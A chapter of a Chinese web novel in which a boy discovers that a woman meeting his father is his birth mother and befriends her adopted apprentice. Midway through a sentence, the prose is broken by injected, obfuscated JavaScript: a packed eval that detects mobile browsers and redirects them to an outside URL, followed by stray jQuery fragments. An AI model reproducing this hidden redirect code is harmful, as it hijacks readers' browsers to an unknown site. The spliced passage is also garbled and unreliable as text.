那是允洵一第一次看见父亲如此失态。
但他知道，父亲与那个女人却绝不是第一次见面。否则，父亲不会有那样混杂着痛楚与留恋的复杂的眼神。
他心中隐隐有一个猜测，却不敢轻易去证实。
而且，在父亲和女人不欢而散后，允洵一的脑海里会反复浮现她身边的女孩的身影。
戚卓珺——这是她的名字。光从字面上来看就知道为她取名之人心思细腻而饱含期待，很贴合昭朝的重女之风。
让他没想到的是，自那天以后，他们便经常“偶遇”。而这偶遇的时机，还需他正好跟着父亲，女人也刚好带着戚卓珺才最为恰当。
或者，准确来说，其实是女人与父亲有意碰见也不得而知。
有时是在卖菜的早市上，身旁的父亲摆着摊上青菜的手会突然顿住，他抬头一看，那女子便恰好和戚卓珺一同从对面走来。
有时是在黄昏的巷口，在父亲的勒令下，允洵一已经不在老槐树下卖折扇，改在街头中心买字画。
等到他准备接从书院里出来的父亲一同回去时，那女人和戚卓珺的身影便这么正正好好地出现在那棵老槐树下。
每回相遇，父亲总是紧绷着脸，要么拉着他匆匆走开，要么就与那女子站在原地沉默对峙，空气里弥漫着化不开的僵硬。
允洵一因此也很少有机会和那名叫戚卓珺的女孩说话，偶尔目光撞上，也只是飞快移开。
终于有一天，父亲推开院门时，身后跟着女子与戚卓珺。彼时他正在画一副花画，画的仍旧是桃花，见她们进来，不知怎的，他反倒有些紧张。
父子俩都习惯了节俭而紧巴的生活，所以他们的房子只是一层简单的泥土瓦房，所谓的“院子”也不过是拿篱笆将屋前的一块小平地围起来。
允洵一不觉得这有什么，但他讨厌别人可怜或是同情的眼神。
可是女人的目光淡淡扫过了整个院子一大圈后，什么也没说，只是面色变得极为不好。她也一样。
他看不懂她们的神情。于是他只在心里说了一句“谢谢你，小房子”。这是从前每逢外人来，用奇怪的眼神来看他们的房子时，他养成的习惯。
毕竟这看似简朴的土房，为他们遮挡了十几年的风雨。
后来他知道了，那其实是心疼的神情。
等进了门，父亲和女子同时开了口：“你先出去玩会儿吧。”
他和她对视一眼，默默走了出去。
但他并不打算乖乖听话。
他贴着斑驳的土墙站了片刻，耳朵却注意去听屋里的动静，余光却在同时间瞥见了一个身影——
戚卓珺抿着嘴、神情紧张地贴在门边，和他做着一样的动作。
他认得那种表情。
那是害怕被抛弃、被议论的不安。
早些年，他并不被附近的孩子们所接纳。
在父亲的据理力争和各种讨好之后，他终于能在表面上和别的孩子和平相处了。
是的，表面。他也曾天真地以为那些孩子真的愿意成为他的朋友了。
一切都是在某次他假意离开又躲在角落里悄悄听那群孩子们的谈话改变的。
“没娘养的孩子”“怪人”，各类他听过的没听过的词汇，他们甚至还编排了父亲。那一刻他有想要出去和他们扭打成一团的冲动，哪怕自己因此而头破血流。
然而他只是站在那里，没有动。或者说，他动不了。
心底的声音反复在告诉他，他被不怀好意地议论了，他被他以为的“朋友”给“抛弃”了。
于是，他懂了。
他本是个多余的怪人，自然没有“正常人”真心和他玩。他也知道自己不会有真正的同伴。
“阿砚。”
女人的这声呼唤让他的思绪猛然回笼。
他没来由的想起，之前第一次遇见时，戚卓珺叫她“师父”，那么她们应该不是母女的关系，戚卓珺应该有自己的亲生父母。
那她是在怕被抛弃么？还是别的什么。
女子压抑的声音响起：“……他是不是我与你的孩子？”
允砚之的声音陡然冷了下来：“洵儿只是我一人的孩子，与你无关。”
“你别骗我了，阿砚。”女人的声音里带着恳求，还有一种沉重的疲惫，“我都打听清楚了。这么多年你只身一人带着孩子，过得很是辛苦……是我亏欠了你。”
“林径薇！”父亲突然发怒，“就算他身上流着一部分你的血液，但当时你签下和离书时，白纸黑字写得清清楚楚，你与我两不相欠……”
后面的话他无心去听了。
——竟然，果然，这女人真的是他的亲生母亲。
院外树上的蝉鸣越发聒噪，允洵一后背抵着凉凉的土墙，心里像是被什么东西堵住了。
父亲从不曾对他说起母亲的事，不说她的坏，也不说她的好。无论母亲的模样、性情，还是别的，都从未提起，仿佛那是一个不能触碰的禁忌。
幼时他不是没有追问过，得到的答案却永远只是“洵儿有爹就够了”。
他那时信了，只觉得父亲太辛苦，逼着自己快快长大，分担父亲的重担，因而变得懂事且早熟。
但随着年岁渐长，他察觉到，父亲的辛苦，分明与母亲的缺席脱不开关系。
他不喜欢这个突然出现的所谓的“母亲”。但看着身边同样一脸震惊且与林径薇关系匪浅的戚卓珺，他的心里却生不出半分厌恶，反而愿意对她怀有一丝善意。
只因刚刚那一瞬，他从她眼里看到了和自己相似的东西——那种小心翼翼，那种害怕被抛弃的惶恐。
对面的戚卓珺显然被她们的对话惊住了，过了好一会儿才稳住了神，仰起脸看着比她高半个头的允洵一，声音细细的，却带着一股认真劲儿：
“你能跟我去个地方么？”
鬼使神差地，在看着她那双很亮很亮的眼睛时，他点了点头。
戚卓珺带着他绕过了几条巷，又向上爬了一会儿，穿过了一片荒废的菜园，站在边缘的一块平坦石板上，眼前才豁然开朗——
从这个角度望去，他们的小屋、背后绿油油的群山、小屋下面的流水，尽收眼底。
北境这个地方少
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16024710|178574||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绿植少水，但好在他们所在的村落下方有一处浅浅的湖泊，湖泊又与自高处流下的山泉相连，生生不息，倒像是归隐之士所在的人家。
“美吗？”戚卓珺站在崖边，转过身背手看着他，有几缕碎发贴在因赶路而汗涔涔的额头上。
允洵一被这副景色给怔住了，只点了点头，不语。
他竟从来不知道自己家附近有这样美的地方。平日里只看见灰墙土路，却不知几里之外，藏着这样一片宁静。
“其实师父偷偷来过这里很多次了，也早就知道你们住在这里。但每次都只是远远看着，从不敢靠近。”戚卓珺说。
顿了顿，她转向允洵一，脸上满是复杂的情绪：“你会讨厌我吗？”
“我为何要讨厌你？”他转过头来看着戚卓珺，不解。
“我知道我师父与你父亲关系不一般，可没想到会是这种情况……”戚卓珺低下头，声音更低了，“我猜，你心里其实是不怎么接受她的，对么？”
他一愣。
他从未对任何人说过自己对母亲的缺席想法，连父亲都不知道允洵一心里的怨怼。可只见过几面的戚卓珺，却一眼看穿了他的心思。
她和他，的确是相似的，尤其善于捕捉那些藏在沉默之后的情绪。
见他没应，她继续说了下去，像是害怕沉默：“我虽叫她师父，但也是被她收养的。我父母一直放养我，却在我最任性的那年意外故去了。从此，林阿娘便是待我最好最好的人，我也视她为第二个母亲。可我今天才知道，原来她竟有一个亲生孩子……”
戚卓珺没有往后说下去，但允洵一明白了她的意思。
所以，她那时的神情和感受，的确和当年的他一样。
他想了想，如实答道：“她的事，与你无关。我自然不会讨厌你。”
“那我们能成为朋友么？”
十分出乎意料地，戚卓珺说了这么一句话，语气带着些许试探与不安。
他沉寂已久的心，在这一瞬，悄然漾起了涟漪。
一直习惯沉默独处、自以为不会有真心同伴的他，从未想过，竟会在这么荒唐的一天，有这样一个人问他，能否与他做朋友。
那点藏在试探里的期盼，就这样让他生出几分莫名的暖意。
“自然。”
吐出这两个字的时候，他觉得自己的心都轻快了几分。
“既是朋友，我们就换个亲昵点、像朋友之间会喊的称呼。”戚卓珺拍了拍手，眼睛亮晶晶的，“我有个很好很好的朋友，她叫我阿珺。既然如此，我便叫你阿洵吧。”
“那我唤你……”
“也叫阿珺好了。”戚卓珺抢着说，语气里带着点小雀跃。
他摇了摇头，认真道：“我想叫一个独一无二的称呼。阿七如何？恰好与‘戚’同音。”
戚卓珺愣了一下，随即笑得更开心了：“好呀。很高兴和你成为朋友，阿洵。”
高悬的烈日不知何时躲进了云朵里，适时吹来一阵凉风，吹散了他心头的烦躁。
允洵一轻轻勾起唇：
“我亦高兴，阿七。”